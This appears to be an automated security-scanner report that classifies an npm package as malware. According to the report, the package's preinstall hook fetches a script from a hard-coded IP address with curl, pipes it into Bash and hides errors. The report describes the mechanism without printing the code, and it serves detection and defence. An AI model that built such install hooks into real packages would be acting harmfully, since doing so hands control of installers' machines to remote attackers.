AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The package contains a confirmed automatic install-time remote-code-execution chain. Its minimal runtime code does not justify or constrain that behavior.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation, before the package is installed.

Impact

Remote operators can execute arbitrary commands with the installing user's privileges.

Mechanism

Preinstall hook pipes a remote curl response into Bash.

Attack narrative

When npm installs this package, its preinstall lifecycle hook invokes curl against a hard-coded IP address and immediately pipes the response to Bash. This gives the host controlling that address arbitrary code execution on the installer machine. The hook suppresses errors, reducing visibility of the behavior.

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The preinstall hook runs automatically during installation and fetches a shell script from a hard-coded IP address.
The fetched content is piped directly to a Bash shell, allowing the remote server to run arbitrary commands.
Errors are silently ignored, which conceals failed or blocked execution.

Evidence against

The runtime entry point only exports a trivial init function.
No other package source files were present.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.
